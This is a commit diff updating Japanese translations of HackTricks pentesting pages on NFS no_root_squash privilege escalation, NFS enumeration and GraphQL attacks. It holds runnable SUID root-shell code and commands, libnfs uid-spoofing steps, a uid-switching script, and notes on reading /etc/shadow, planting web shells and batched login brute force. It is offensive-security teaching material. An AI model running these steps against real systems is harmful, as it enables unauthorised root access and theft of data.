mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash
This commit is contained in:
parent
5df6781dac
commit
5b97932dfd
@ -1,18 +1,29 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
_ **/etc/exports** _ ファイルを読み、**no_root_squash**として設定されているディレクトリを見つけた場合、クライアントとしてそのディレクトリに**アクセス**し、ローカルの**root**のようにそのディレクトリの中に**書き込む**ことができます。
|
||||
# 基本情報の圧縮
|
||||
|
||||
**no_root_squash**: このオプションは基本的に、クライアントのrootユーザーにNFSサーバー上のファイルにrootとしてアクセスする権限を与えます。これにより、深刻なセキュリティ上の問題が生じる可能性があります。
|
||||
NFSは通常(特にLinuxでは)、ファイルにアクセスするために接続しているクライアントによって示された`uid`と`gid`を信頼します(Kerberosが使用されていない場合)。しかし、サーバーで**この動作を変更する**ために設定できるいくつかの構成があります:
|
||||
|
||||
**no_all_squash:** これは**no_root_squash**オプションに似ていますが、**非rootユーザー**に適用されます。例えば、nobodyユーザーとしてシェルを持ち、/etc/exportsファイルを確認し、no_all_squashオプションが存在し、/etc/passwdファイルを確認し、非rootユーザーをエミュレートし、そのユーザーとしてsuidファイルを作成(nfsを使用してマウント)します。nobodyユーザーとしてそのsuidを実行し、異なるユーザーになります。
|
||||
- **`all_squash`**: すべてのアクセスを圧縮し、すべてのユーザーとグループを**`nobody`**(65534 unsigned / -2 signed)にマッピングします。したがって、誰もが`nobody`となり、ユーザーは使用されません。
|
||||
- **`root_squash`/`no_all_squash`**: これはLinuxのデフォルトであり、**uid 0(root)のアクセスのみを圧縮**します。したがって、任意の`UID`と`GID`は信頼されますが、`0`は`nobody`に圧縮されるため、rootの偽装は不可能です。
|
||||
- **`no_root_squash`**: この構成が有効になっている場合、rootユーザーさえも圧縮されません。これは、この構成でディレクトリをマウントすると、rootとしてアクセスできることを意味します。
|
||||
|
||||
# Privilege Escalation
|
||||
**/etc/exports**ファイルで、**no_root_squash**として構成されているディレクトリを見つけた場合、**クライアントとして**それに**アクセス**し、そのディレクトリの中に**ローカルの**マシンの**root**のように**書き込む**ことができます。
|
||||
|
||||
## Remote Exploit
|
||||
**NFS**に関する詳細情報は、以下を確認してください:
|
||||
|
||||
この脆弱性を見つけた場合、次のように悪用できます:
|
||||
{{#ref}}
|
||||
/network-services-pentesting/nfs-service-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
- クライアントマシンでそのディレクトリを**マウント**し、**rootとして**マウントされたフォルダ内に**/bin/bash**バイナリをコピーし、**SUID**権限を与え、被害者マシンからそのbashバイナリを**実行**します。
|
||||
# 権限昇格
|
||||
|
||||
## リモートエクスプロイト
|
||||
|
||||
オプション1:bashを使用して:
|
||||
- **クライアントマシンでそのディレクトリをマウントし、**rootとしてマウントされたフォルダ内に**/bin/bash**バイナリをコピーし、**SUID**権限を与え、**被害者**マシンからそのbashバイナリを実行します。
|
||||
- NFS共有内でrootになるためには、**`no_root_squash`**がサーバーで構成されている必要があります。
|
||||
- ただし、有効になっていない場合は、バイナリをNFS共有にコピーし、昇格したいユーザーとしてSUID権限を与えることで、他のユーザーに昇格することができます。
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
@ -25,7 +36,9 @@ chmod +s bash
|
||||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
- **クライアントマシンでそのディレクトリをマウントし、** マウントされたフォルダ内に **rootとして** SUID権限を悪用するコンパイル済みペイロードをコピーし、それに **SUID** 権限を与え、**被害者** マシンからそのバイナリを **実行** します(ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります)。
|
||||
Option 2 using c compiled code:
|
||||
- **クライアントマシンでそのディレクトリをマウント**し、**ルートとして**マウントされたフォルダ内にSUID権限を悪用するコンパイル済みペイロードをコピーし、**SUID**権限を与え、**被害者**マシンからそのバイナリを**実行**します(ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります)。
|
||||
- 前と同じ制限が適用されます。
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
@ -42,14 +55,14 @@ cd <SHAREDD_FOLDER>
|
||||
## ローカルエクスプロイト
|
||||
|
||||
> [!NOTE]
|
||||
> あなたのマシンから被害者のマシンへの**トンネルを作成できる場合、必要なポートをトンネリングしてこの特権昇格を悪用するためにリモートバージョンを使用することができます**。\
|
||||
> あなたのマシンから被害者のマシンへの**トンネルを作成できる場合、リモートバージョンを使用してこの特権昇格を悪用することができます**。\
|
||||
> 次のトリックは、ファイル`/etc/exports`が**IPを示している場合**です。この場合、**リモートエクスプロイトを使用することはできず**、**このトリックを悪用する必要があります**。\
|
||||
> エクスプロイトが機能するためのもう一つの必要条件は、**`/etc/export`内のエクスポートが`insecure`フラグを使用していること**です。\
|
||||
> エクスプロイトが機能するためのもう一つの要件は、**`/etc/export`内のエクスポートが`insecure`フラグを使用している必要があることです**。\
|
||||
> --_`/etc/export`がIPアドレスを示している場合、このトリックが機能するかどうかはわかりません_--
|
||||
|
||||
## 基本情報
|
||||
|
||||
このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントが自分のuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にします。悪用には、NFS RPCコールの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。
|
||||
このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントがuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にします。悪用には、NFS RPCコールの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。
|
||||
|
||||
### ライブラリのコンパイル
|
||||
|
||||
@ -65,31 +78,26 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
|
||||
攻撃は、特権をルートに昇格させ、その後シェルを実行するシンプルなCプログラム(`pwn.c`)を作成することを含みます。プログラムはコンパイルされ、結果として得られたバイナリ(`a.out`)は、RPC呼び出しでuidを偽装するために`ld_nfs.so`を使用して、suid rootで共有に配置されます。
|
||||
|
||||
1. **攻撃コードをコンパイルする:**
|
||||
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
2. **攻撃を共有に配置し、uidを偽装してその権限を変更する:**
|
||||
|
||||
2. **共有にエクスプロイトを配置し、uidを偽装してその権限を変更する:**
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
3. **攻撃を実行してルート権限を取得する:**
|
||||
3. **エクスプロイトを実行してルート権限を取得する:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
|
||||
## ボーナス: NFShellによるステルスファイルアクセス
|
||||
|
||||
ルートアクセスが取得されたら、所有権を変更せずにNFS共有と対話するために(痕跡を残さないために)、Pythonスクリプト(nfsh.py)が使用されます。このスクリプトは、アクセスされるファイルのuidに一致するようにuidを調整し、権限の問題なしに共有上のファイルと対話できるようにします:
|
||||
rootアクセスが取得されると、所有権を変更せずにNFS共有と対話するために、Pythonスクリプト(nfsh.py)が使用されます。このスクリプトは、アクセスされるファイルのuidを一致させることで、権限の問題なしに共有上のファイルと対話できるようにします:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
@ -108,7 +116,7 @@ uid = get_file_uid(filepath)
|
||||
os.setreuid(uid, uid)
|
||||
os.system(' '.join(sys.argv[1:]))
|
||||
```
|
||||
実行するには:
|
||||
実行するには:
|
||||
```bash
|
||||
# ll ./mount/
|
||||
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
||||
|
@ -1,31 +1,68 @@
|
||||
# 2049 - Pentesting NFS Service
|
||||
# 2049 - NFSサービスのペンテスト
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**NFS**は、ユーザーがネットワーク上でファイルにシームレスにアクセスできるように設計された**クライアント/サーバ**システムであり、これらのファイルがローカルディレクトリ内にあるかのように扱います。
|
||||
**NFS**は、ユーザーがネットワーク上のファイルにローカルディレクトリ内にあるかのようにシームレスにアクセスできるように設計された**クライアント/サーバ**システムです。
|
||||
|
||||
このプロトコルの注目すべき点は、組み込みの**認証**や**認可メカニズム**がないことです。代わりに、認可は**ファイルシステム情報**に依存しており、サーバは**クライアント提供のユーザー情報**をファイルシステムの必要な**認可形式**に正確に変換する役割を担っています。主に**UNIX構文**に従います。
|
||||
|
||||
認証は一般的に**UNIX `UID`/`GID`識別子とグループメンバーシップ**に依存しています。しかし、クライアントとサーバ間の**`UID`/`GID`マッピング**の不一致の可能性があるため、サーバによる追加の検証の余地がありません。その結果、このプロトコルは**信頼されたネットワーク**内での使用に最も適しています。この認証方法に依存しているためです。
|
||||
|
||||
**デフォルトポート**: 2049/TCP/UDP(バージョン4を除き、TCPまたはUDPのみが必要です)。
|
||||
**デフォルトポート**: 2049/TCP/UDP(バージョン4を除く、TCPまたはUDPのみが必要です)。
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
### バージョン
|
||||
### 認証
|
||||
|
||||
- **NFSv2**: このバージョンは、さまざまなシステムとの広範な互換性で認識されており、主にUDPを介した初期操作でその重要性を示しています。シリーズの中で**最も古い**ものであり、将来の開発の基礎を築きました。
|
||||
このプロトコルの注目すべき点は、通常、組み込みの**認証**や**認可メカニズム**が欠如していることです。代わりに、認可は**ファイルシステム情報**に依存し、サーバーは**クライアント提供のユーザー情報**をファイルシステムが要求する**認可フォーマット**に正確に変換する役割を担っています。主に**UNIX構文**に従います。
|
||||
|
||||
認証は一般的に**UNIX `UID`/`GID`識別子とグループメンバーシップ**に依存しています。しかし、クライアントとサーバー間の**`UID`/`GID`マッピング**の不一致が生じるため、サーバーによる追加の検証の余地がありません。さらに、これらの詳細はクライアントによって送信され、サーバーによって信頼されるため、悪意のあるクライアントがより特権のある`uid`や`gid`を送信して他のユーザーを**なりすます**可能性があります。
|
||||
|
||||
**ただし、デフォルトではNFSを使用して`UID` 0(root)をなりすますことはできません。この詳細はスカッシングセクションで説明します。**
|
||||
|
||||
#### ホスト
|
||||
|
||||
より良い(または一部の)認可のために、NFS共有にアクセスできる**ホスト**を指定できます。これはLinuxの`/etc/exports`ファイルで行うことができます。例えば:
|
||||
```
|
||||
/PATH/TO/EXPORT CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
|
||||
/media/disk/share 192.168.2.123(rw,sec=krb5p:krb5i)
|
||||
```
|
||||
As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share.
|
||||
|
||||
### Versions
|
||||
|
||||
- **NFSv2**: このバージョンは、さまざまなシステムとの広範な互換性で認識されており、主にUDP上での初期操作によってその重要性を示しています。シリーズの中で**最も古い**ものであり、将来の開発の基礎を築きました。
|
||||
|
||||
- **NFSv3**: 一連の改善と共に導入されたNFSv3は、前のバージョンを拡張し、可変ファイルサイズをサポートし、改善されたエラーレポート機能を提供しました。進歩にもかかわらず、NFSv2クライアントとの完全な後方互換性には制限がありました。
|
||||
|
||||
- **NFSv4**: NFSシリーズの画期的なバージョンであるNFSv4は、ネットワークを通じたファイル共有を現代化するために設計された一連の機能をもたらしました。注目すべき改善点には、**高セキュリティ**のためのKerberosの統合、ファイアウォールを越えて動作し、ポートマッパーなしでインターネット上で動作する能力、アクセス制御リスト(ACL)のサポート、状態ベースの操作の導入が含まれます。そのパフォーマンスの向上とステートフルプロトコルの採用により、NFSv4はネットワークファイル共有技術における重要な進展として際立っています。
|
||||
- **NFSv4**: NFSシリーズの画期的なバージョンであるNFSv4は、ネットワーク全体でのファイル共有を現代化するために設計された一連の機能をもたらしました。注目すべき改善点には、**高セキュリティ**のためのKerberosの統合、ファイアウォールを越えて動作し、ポートマッパーなしでインターネット上で動作する能力、アクセス制御リスト(ACL)のサポート、状態ベースの操作の導入が含まれます。そのパフォーマンスの向上と状態を持つプロトコルの採用により、NFSv4はネットワークファイル共有技術における重要な進展として際立っています。
|
||||
- Linuxホストがkerberos認証をサポートするNFSを見つけるのは非常に奇妙です。
|
||||
|
||||
各NFSバージョンは、ネットワーク環境の進化するニーズに対応することを目的として開発されており、セキュリティ、互換性、パフォーマンスを徐々に向上させています。
|
||||
各NFSバージョンは、ネットワーク環境の進化するニーズに対応する意図で開発されており、セキュリティ、互換性、パフォーマンスを徐々に向上させています。
|
||||
|
||||
## 列挙
|
||||
### Squashing
|
||||
|
||||
前述のように、NFSは通常、クライアントの`uid`と`gid`を信頼してファイルにアクセスします(kerberosが使用されていない場合)。ただし、サーバーで**この動作を変更する**ために設定できるいくつかの構成があります:
|
||||
|
||||
- **all_squash**: すべてのアクセスを圧縮し、すべてのユーザーとグループを**`nobody`**(65534 unsigned / -2 signed)にマッピングします。したがって、誰もが`nobody`となり、ユーザーは使用されません。
|
||||
- **root_squash/no_all_squash**: これはLinuxのデフォルトであり、**uid 0(root)のアクセスのみを圧縮します**。したがって、任意の`UID`と`GID`は信頼されますが、`0`は`nobody`に圧縮されるため、rootの偽装は不可能です。
|
||||
- **no_root_squash**: この構成が有効になっている場合、rootユーザーさえも圧縮されません。これは、この構成でディレクトリをマウントすると、rootとしてアクセスできることを意味します。
|
||||
|
||||
### Subtree check
|
||||
|
||||
Linuxでのみ利用可能です。man(5) exportsには次のように記載されています:「ファイルシステムのサブディレクトリがエクスポートされているが、全体のファイルシステムがエクスポートされていない場合、NFSリクエストが到着するたびに、サーバーはアクセスされたファイルが適切なファイルシステムにあること(これは簡単です)だけでなく、エクスポートされたツリーにあることも確認しなければなりません(これは難しいです)。このチェックはサブツリーのチェックと呼ばれます。」
|
||||
|
||||
Linuxでは、**`subtree_check`機能はデフォルトで無効**になっています。
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Showmount
|
||||
|
||||
これは、**NFSv3サーバーから情報を取得する**ために使用できます。たとえば、**エクスポートのリスト**、これらのエクスポートに**アクセスを許可されている**ユーザー、接続されているクライアント(クライアントがサーバーに通知せずに切断した場合、正確でない可能性があります)などです。
|
||||
**NFSv4クライアントは直接/ exportにアクセスし、そこからエクスポートにアクセスしようとします。無効または認可されていない理由で失敗します。**
|
||||
|
||||
`showmount`やMetasploitモジュールのようなツールがNFSポートから情報を表示しない場合、それはバージョン3をサポートしていないNFSv4サーバーの可能性があります。
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
### 有用なnmapスクリプト
|
||||
```bash
|
||||
nfs-ls #List NFS exports and check permissions
|
||||
@ -36,45 +73,74 @@ nfs-statfs #Disk statistics and info from NFS share
|
||||
```bash
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### マウント
|
||||
### nfs_analyze
|
||||
|
||||
どの**フォルダー**がサーバーに**利用可能**であるかを知るには、次のように尋ねることができます:
|
||||
このツールは [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) から取得でき、NFSサーバーから**マウント**、サポートされているNFSバージョン、接続されたIP、さらには**エクスポートから他のフォルダーにエスケープできるか**や**`no_root_squash`が有効か**どうかなど、多くのデータを取得するために使用できます。
|
||||
|
||||
## Mounting
|
||||
|
||||
サーバーが**マウント可能なフォルダー**を知るには、次のように尋ねることができます:
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
次に、次のコマンドを使用してマウントします:
|
||||
次に、次のようにマウントします:
|
||||
```bash
|
||||
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
|
||||
```
|
||||
**バージョン2を使用する**ことを指定する必要があります。なぜなら、**認証**や**承認**が**ない**からです。
|
||||
**バージョン2を使用する**ことを指定する必要があります。なぜなら、それには**認証**や**承認**が**ない**からです。
|
||||
|
||||
**例:**
|
||||
```bash
|
||||
mkdir /mnt/new_back
|
||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## パーミッション
|
||||
## 攻撃
|
||||
|
||||
特定のユーザー(**UID**)のみがアクセスできる**ファイルやフォルダー**を含むフォルダーをマウントすると、**UID**を持つユーザーを**ローカル**に作成し、その**ユーザー**を使用してファイル/フォルダーに**アクセス**できるようになります。
|
||||
### UIDとGIDの信頼
|
||||
|
||||
## NSFShell
|
||||
もちろん、ここでの唯一の問題は、デフォルトではroot(`UID` 0)を偽装することができないことです。しかし、他のユーザーを偽装することは可能であり、`no_root_squash`が有効になっている場合はrootを偽装することもできます。
|
||||
|
||||
ファイルにアクセスするために、UIDとGIDを簡単にリスト、マウント、変更するには、[nfsshell](https://github.com/NetDirect/nfsshell)を使用できます。
|
||||
- **特定のユーザー**(**UID**によって)にのみアクセス可能な**ファイルやフォルダ**を含むフォルダをマウントした場合、その**UID**を持つユーザーを**ローカルに作成**し、その**ユーザー**を使用することでファイル/フォルダに**アクセス**できるようになります。
|
||||
- [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling)のツール**`fuse_nfs`**は、ファイルにアクセスするために必要なUIDとGIDを常に送信します。
|
||||
|
||||
[素晴らしいNFSShellチュートリアル。](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
### SUID特権昇格
|
||||
|
||||
ページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### エクスポートからの脱出
|
||||
|
||||
この[素晴らしい記事](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/)では、**エクスポートから脱出してファイルシステム内の他のフォルダにアクセスする**ことが可能であることが示されています。
|
||||
|
||||
したがって、エクスポートが**ファイルシステム全体**の**サブフォルダ**をエクスポートしている場合、**`subtree_check`**が無効になっていると、エクスポートの外にあるファイルにアクセスすることが可能です。そして、これは**Linuxではデフォルトで無効**になっています。
|
||||
|
||||
例えば、NFSサーバーが`/srv/`をエクスポートしていて、`/var/`が同じファイルシステムにある場合、`/var/log/`からログを読み取ったり、`/var/www/`にウェブシェルを保存したりすることが可能です。
|
||||
|
||||
さらに、デフォルトではroot(0)ユーザーのみが偽装から保護されていることに注意してください(スカッシュセクションを確認)。ただし、ファイルが**rootによって所有されているがグループが0でない場合、アクセスすることが可能です**。例えば、ファイル`/etc/shadow`はrootによって所有されていますが、グループは`shadow`(Debianではgid 42)です。したがって、デフォルトで読み取ることが可能です!
|
||||
|
||||
[https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling)のツール**`nfs_analyze`**は、ファイルシステムext4、xfs、btrfsに対するこの攻撃をサポートするために構築されています(v4でも可能であるべきです)。
|
||||
|
||||
### NSFShell
|
||||
|
||||
ファイルにアクセスするためにUIDとGIDを簡単にリスト、マウント、変更するには、[nfsshell](https://github.com/NetDirect/nfsshell)を使用できます。
|
||||
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
## 設定ファイル
|
||||
```
|
||||
/etc/exports
|
||||
/etc/lib/nfs/etab
|
||||
```
|
||||
### 危険な設定
|
||||
## 危険な設定
|
||||
|
||||
- **読み書き権限 (`rw`):** この設定は、ファイルシステムからの読み取りと書き込みの両方を許可します。このような広範なアクセスを付与することの影響を考慮することが重要です。
|
||||
|
||||
- **安全でないポートの使用 (`insecure`):** 有効にすると、システムは1024以上のポートを利用できるようになります。この範囲のポートのセキュリティは厳格でない場合があり、リスクが増加します。
|
||||
|
||||
- **ネストされたファイルシステムの可視性 (`nohide`):** この設定により、別のファイルシステムがエクスポートされたディレクトリの下にマウントされていても、ディレクトリが可視化されます。各ディレクトリは適切な管理のために独自のエクスポートエントリを必要とします。
|
||||
- **ネストされたファイルシステムの可視性 (`nohide`):** この設定により、別のファイルシステムがエクスポートされたディレクトリの下にマウントされていても、ディレクトリが可視化されます。各ディレクトリには適切な管理のために独自のエクスポートエントリが必要です。
|
||||
|
||||
- **ルートファイルの所有権 (`no_root_squash`):** この設定では、ルートユーザーによって作成されたファイルは元のUID/GID 0を維持し、最小権限の原則を無視し、過剰な権限を付与する可能性があります。
|
||||
|
||||
|
@ -57,7 +57,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
|
||||
|
||||
**エラー**
|
||||
|
||||
**エラー**が**表示**されるかどうかを知ることは興味深いです。これは有用な**情報**に貢献します。
|
||||
**エラー**が**表示**されるかどうかを知ることは興味深いことであり、それは有用な**情報**に貢献します。
|
||||
```
|
||||
?query={__schema}
|
||||
?query={}
|
||||
@ -170,13 +170,13 @@ name
|
||||
|
||||
### クエリ
|
||||
|
||||
データベースにどのような情報が保存されているかがわかったので、**いくつかの値を抽出してみましょう**。
|
||||
データベース内にどのような情報が保存されているかがわかったので、**いくつかの値を抽出してみましょう**。
|
||||
|
||||
イントロスペクションでは、**どのオブジェクトを直接クエリできるか**を見つけることができます(オブジェクトが存在するからといってクエリできるわけではありません)。次の画像では、"_queryType_"が"_Query_"と呼ばれ、"_Query_"オブジェクトのフィールドの1つが"_flags_"であり、これもオブジェクトのタイプであることがわかります。したがって、フラグオブジェクトをクエリできます。
|
||||
|
||||

|
||||
|
||||
クエリ"_flags_"のタイプは"_Flags_"であり、このオブジェクトは以下のように定義されています:
|
||||
"_flags_"のクエリのタイプは"_Flags_"であり、このオブジェクトは以下のように定義されています:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -184,11 +184,7 @@ name
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
次の例のように、**クエリするオブジェクト**が**プリミティブ****タイプ**(例えば**文字列**)の場合は、次のようにクエリできます。
|
||||
|
||||
.png>)
|
||||
|
||||
次のようにクエリできます:
|
||||
次の例のように、**クエリするオブジェクト**が**文字列**のような**プリミティブ****タイプ**である場合は、次のようにクエリできます:
|
||||
```javascript
|
||||
query = { hiddenFlags }
|
||||
```
|
||||
@ -289,7 +285,7 @@ name
|
||||
|
||||
.png>)
|
||||
|
||||
このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になったり、映画を持ったりすることができ、データベース内の関係を示します。
|
||||
このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。
|
||||
|
||||
データベース内に**新しい**映画を**作成する**ためのミューテーションは、次のようになります(この例ではミューテーションは`addMovie`と呼ばれます):
|
||||
```javascript
|
||||
@ -334,12 +330,12 @@ releaseYear
|
||||
```
|
||||
### ディレクティブのオーバーロード
|
||||
|
||||
このレポートで説明されている[**脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によれば、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。
|
||||
このレポートで説明されている[**脆弱性の一つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によれば、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。
|
||||
|
||||
### 1つのAPIリクエストでのバッチブルートフォース
|
||||
|
||||
この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\
|
||||
**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺き、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。
|
||||
**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。
|
||||
|
||||
以下は、**同時に3つの異なるメール/パスワードペア**を使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です:
|
||||
|
||||
@ -353,7 +349,7 @@ releaseYear
|
||||
|
||||
ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマの大部分を再構築するのに十分です。
|
||||
|
||||
さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、**新しいクエリを見るたびに**内部GraphQL **スキーマ**を構築します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||
さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、新しいクエリを見るたびに内部GraphQL**スキーマ**を**構築**します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||
|
||||
素晴らしい**ワードリスト**は、[**GraphQLエンティティを発見するためにここにあります**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
||||
|
||||
@ -397,7 +393,7 @@ ws.send(JSON.stringify(graphqlMsg))
|
||||
```
|
||||
### **露出したGraphQL構造の発見**
|
||||
|
||||
イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**露出した機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです:
|
||||
イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有効な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**露出した機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです:
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
@ -425,7 +421,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
|
||||
ただし、Chromeの`samesite`フラグの新しいデフォルトクッキー値は`Lax`であることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。
|
||||
|
||||
**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。
|
||||
通常、**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも可能であり、GETリクエストではCSRFトークンが検証されない可能性があることに注意してください。
|
||||
|
||||
また、[**XS-Search**](../../pentesting-web/xs-search/index.html) **攻撃**を悪用することで、ユーザーの資格情報を利用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。
|
||||
|
||||
@ -433,7 +429,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
|
||||
## GraphQLにおけるクロスサイトWebSocketハイジャック
|
||||
|
||||
GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためのクロスサイトWebSocketハイジャックを実行することも可能です**。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。
|
||||
GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためにクロスサイトWebSocketハイジャックを実行することも可能であり、ユーザーがGraphQLで予期しないアクションを実行することを強制できます。**
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
|
||||
@ -459,17 +455,17 @@ GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていな
|
||||
|
||||
[クエリのチェイニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。
|
||||
|
||||
